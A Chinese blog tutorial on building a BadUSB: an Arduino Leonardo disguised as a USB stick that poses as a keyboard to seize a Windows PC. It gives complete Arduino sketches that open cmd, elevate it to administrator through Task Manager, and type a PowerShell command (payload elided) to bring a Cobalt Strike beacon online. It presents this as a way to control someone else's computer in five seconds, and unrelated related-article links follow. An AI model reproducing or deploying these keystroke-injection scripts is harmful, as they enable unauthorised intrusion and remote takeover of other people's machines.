Badusb制作

插一下U盘黑一台电脑,插了我的U盘你可就是我的脑了,()

理论准备

我们要用它就应该知道他的工作原理是怎么样的,方便我们去发散思维去使用它。

Badusb的原理是利用HID(Human InterfaceDevice,是计算机直接与人交互的设备,例如键盘、鼠标等)进行攻击,将USB设备伪装使电脑识别为键盘,再利用USB设备中的微控制芯片,向主机发送命令,从而实现完全控制主机。

硬件准备

首先在TB花费30左右大洋买一个 Badusb leonardo USB,烧录过程也比较简单

badusb外观就是u盘的模样,很有迷惑性,不了解的人还真分辨不出了

编译器准备

下载地址:https://www.arduino.cc/en/software,我这里下载了最新的2.1.1

下载完解压就行,双击exe打开,开始是英文,点击File->Preferences...,把English改为简体中文

编译代码

来到这一步,可以选择先插上Badusb,连接上端口,没有插上端口这里就会显示灰色无法点击

然后在工具中找到开发板中的Arduino Leonardo

看到这个地方变了就行,没变的话就点击选择一下

举一个最简单的栗子,执行win+r打开运行执行cmd,在cmd中执行whoami

#include <Keyboard.h>

void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press('r');//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release('r');
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println("CMD");
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("whoami");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop()//循环
{
//
}

然后点击编译看是否有错误

没有错误进行上传,他会把详细信息输出出来,红色的跟有错误一起,其实没啥问题

验证成果

进入cmd的其他方式

通过任务管理器使用管理员权限运行cmd,不懂得可以手动操作一遍

#include <Keyboard.h>
void setup() {
Keyboard.begin(); //开始
delay(2000); //等待两秒
Keyboard.press(KEY_LEFT_CTRL); //按下左边的Ctrl键
Keyboard.press(KEY_LEFT_SHIFT); //按下左边的Shift键
Keyboard.press(KEY_ESC); //按下ESC键
Keyboard.releaseAll(); //松开所有按下的键(Ctrl,Shift,ESC)
//以上代码执行结果: 打开任务管理器
delay(500); //等待0.5秒 作用: 等待任务管理器启动
Keyboard.press(KEY_LEFT_ALT); //按下左边的Alt键
Keyboard.press('f'); //按下f键
Keyboard.release('f'); //松开f键
Keyboard.press('n'); //按下n键
Keyboard.releaseAll(); //松开所有(n,Alt)
delay(500); //等待0.5秒 作用: 等待运行的启动
Keyboard.press(KEY_TAB); //按下Tab键
Keyboard.release(KEY_TAB); //松开Tab键
Keyboard.press(' '); //按下空格键
Keyboard.release(' '); //松开空格键
//以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务
//(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了)
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK); //利用CapsLock绕过输入法
Keyboard.println("cmd"); //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD
delay(3000); //等待2秒 作用: 等待cmd的启动
Keyboard.println("whoami"); //在cmd中输入
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end(); //结束
} void loop() {
// put your main code here, to run repeatedly:
}

上线CS

通过Badusb 上线CS实现远程控制

以上我们可以看到,插上usb之后他会模拟键盘操作,可以就行打开或输入的动作,通过此方法来上线CS(远程控制)

上线的方法有,powershell上线,certutil下载并运行上线等

badusb通过powershell上线代码:

#include <Keyboard.h>
void setup() {
Keyboard.begin(); //开始
delay(2000); //等待两秒
Keyboard.press(KEY_LEFT_CTRL); //按下左边的Ctrl键
Keyboard.press(KEY_LEFT_SHIFT); //按下左边的Shift键
Keyboard.press(KEY_ESC); //按下ESC键
Keyboard.releaseAll(); //松开所有按下的键(Ctrl,Shift,ESC)
//以上代码执行结果: 打开任务管理器
delay(500); //等待0.5秒 作用: 等待任务管理器启动
Keyboard.press(KEY_LEFT_ALT); //按下左边的Alt键
Keyboard.press('f'); //按下f键
Keyboard.release('f'); //松开f键
Keyboard.press('n'); //按下n键
Keyboard.releaseAll(); //松开所有(n,Alt)
delay(500); //等待0.5秒 作用: 等待运行的启动
Keyboard.press(KEY_TAB); //按下Tab键
Keyboard.release(KEY_TAB); //松开Tab键
Keyboard.press(' '); //按下空格键
Keyboard.release(' '); //松开空格键
//以上代码执行结果: 打开任务管理器中文件->运行新任务->勾选以管理员权限创建此任务
//(提示: 如果觉得很迷惑,按上面代码自己操作一下就明白了)
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK); //利用CapsLock绕过输入法
Keyboard.println("cmd"); //在运行中输入cmd,由于按下了CapsLock所以实际上输入的是CMD
delay(3000); //等待2秒 作用: 等待cmd的启动
Keyboard.println("powershell.exe xxxxxxxx"); //在cmd中输入
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end(); //结束
} void loop() {
// put your main code here, to run repeatedly:
}

找个电脑上u盘,五秒钟,成功控制该电脑

Badusb制作,远程别人电脑的更多相关文章

  1. 关于 从别人电脑上 高版本的 Xcode上拷贝过来的项目的 不能运行模拟器的 解决方法

    如图 从别人电脑上 拷贝过来的  工程  打开后  点击 iOS  Device  只有  一个选项  没有模拟器.这说明 自己的 Xcode 的版本比 创建这个工程所用的版本低.所以 要睇啊你tar ...

  2. CocoaPods管理的项目移植到别人电脑后找不到头文件

    CocoaPods管理的项目移植到别人电脑后找不到头文件 在TARGETS -> Search Paths -> User Header Search Paths 中 写入 ${SRCRO ...

  3. 记badusb制作

    很早之前就听说过这个很牛批的小神器,配合社会工程学渗透简直无敌.. 参考的文章是 GCOW团队 j0 师傅的,文章写的非常详细 ,一步步来就行 https://blog.csdn.net/qq_260 ...

  4. wireshark如何抓取别人电脑的数据包

    抓取别人的数据包有几种办法,第一种是你和别人共同使用的那个交换机有镜像端口的功能,这样你就可以把交换机上任意一个人的数据端口做镜像,然后你在镜像端口上插根网线连到你的网卡上,你就可以抓取别人的数据了: ...

  5. Android[安德鲁斯] 文本Air Video 远程播放电脑视频

    苹果iOS下列.目前应用Air Video,能力iOS由Wifi远程直接播放电脑视频,无需看视频复制到手机.非常好用!最近使用Android打电话.展望类别似应用,找了很长一段时间没有找到.在仔细的思 ...

  6. [Winform]使用winform制作远程桌面管理工具

    摘要 突然在园子里看到一篇远程连接的文章,觉得挺好玩的,就自己尝试能不能自己制作一个可以管理多台远程连接的工具,说做就做.当然这样的管理工具已经很多,纯粹是为了好玩,采用winform做的. 资料 首 ...

  7. GIT:本地有更改,但强制作远程仓库里作更新

    有时,紧急线上修改时,这个功能有用处的. git fetch --all git reset --hard origin/master ================ git reset --har ...

  8. oracle 之 如何链接别人电脑的oracle

    1.首先确保两台电脑是在同一个局域网内,可以通过cm命令窗口 ping 对方电脑的ID,若是没问题则表示可以连接 2.接下来通过配置来首先连接对方的电脑 其实在后面还有一个是否创建新的额服务名的操作, ...

  9. 自己电脑能ping别人的,但别人电脑去不能跟我们的电脑通信

    记住一点:多半时防火墙出了问题. 打开“控制面板”——点击“系统和安全”——“Windows防火墙”——点击“打开或关闭”Windows防火墙--点击家庭组网络或者工作组网络——关闭家庭组和工作组的防 ...

  10. Python 初级项目:远程操控电脑(三)-极客学院

    http://www.jikexueyuan.com/course/2376_1.html

随机推荐

  1. Netty实战(二)

    一.环境准备 Netty需要的运行环境很简单,只有2个. JDK 1.8+ Apache Maven 3.3.9+ 二.Netty 客户端/服务器概览 如图,展示了一个我们将要编写的 Echo 客户端 ...

  2. 基于Expression Lambda表达式树的通用复杂动态查询构建器——《构思篇一》

    在上一篇中构思了把查询子句描述出来的数据结构,那么能否用代码将其表达出来,如何表达呢? 再次回顾考察,看下面的查询子句: Id>1 and Id<10 如上所示,有两个独立的条件分别为Id ...

  3. Nucleic Acids Research上关于生物医学分析Galaxy平台在几个独立面上的最新发展。 该平台的官方主服务器拥有超过124000注册用户,每月新注册用户~2000。平均而言,......

    本文分享自微信公众号 - 生信科技爱好者(bioitee).如有侵权,请联系 support@oschina.cn 删除.本文参与"OSC源创计划",欢迎正在阅读的你也加入,一起分 ...

  4. 文字生成图像 AI免费工具第二弹 DreamStudio

    介绍Stable Diffution,就也要提一下DreamStudio,它是Stable Diffusion的母公司Stability AI开发的一个文字生成图像工具,邮箱注册后可以免费生成125张 ...

  5. 【WebServer】项目总体流程

    1. 项目总体流程: 事件处理模式:采用Epoll边沿触发的IO多路复用技术,模拟Proactor模式: 主线程使用epoll监听与客户端连接的socket,并在主线程中对这些socket执行数据读写 ...

  6. JavaWeb中Servlet、web应用和web站点的路径细节("/"究竟代表着什么)

    JavaWeb中Servlet.web应用和web站点的路径细节("/"究竟代表着什么) 1 开门见山 新建一个tomcat web项目,配置tomcat的虚拟目录,取默认值(/项 ...

  7. Taurus .Net Core 微服务开源框架:Admin 插件【2】 - 系统环境信息管理

    前言: 继上篇:Taurus .Net Core 微服务开源框架:Admin 插件[1] - 微服务节点管理 本篇继续介绍下一个内容: 1.系统环境信息节点 - OS-Environment 界面 基 ...

  8. Java并发(十二)----线程应用之多线程解决烧水泡茶问题

    1.背景 统筹方法,是一种安排工作进程的数学方法.它的实用范围极广泛,在企业管理和基本建设中,以及关系复杂的科研项目的组织与管理中,都可以应用. 怎样应用呢?主要是把工序安排好. 比如,想泡壶茶喝.当 ...

  9. debezium同步postgresql数据至kafka笔记

    实验环境 全部部署于本地虚拟机 debezium docker部署 postgresql.kafka本机部署 1 postgresql 1.1 配置 设置postgres密码为123 仿照exampl ...

  10. Linux中的进程页表

    是什么 进程页表是用于管理进程虚拟地址空间和物理内存之间映射关系的数据结构.它记录了进程中每个虚拟页对应的物理页的信息. 什么作用 进程使用进程页表的方式是通过虚拟地址访问内存.当进程访问一个虚拟地址 ...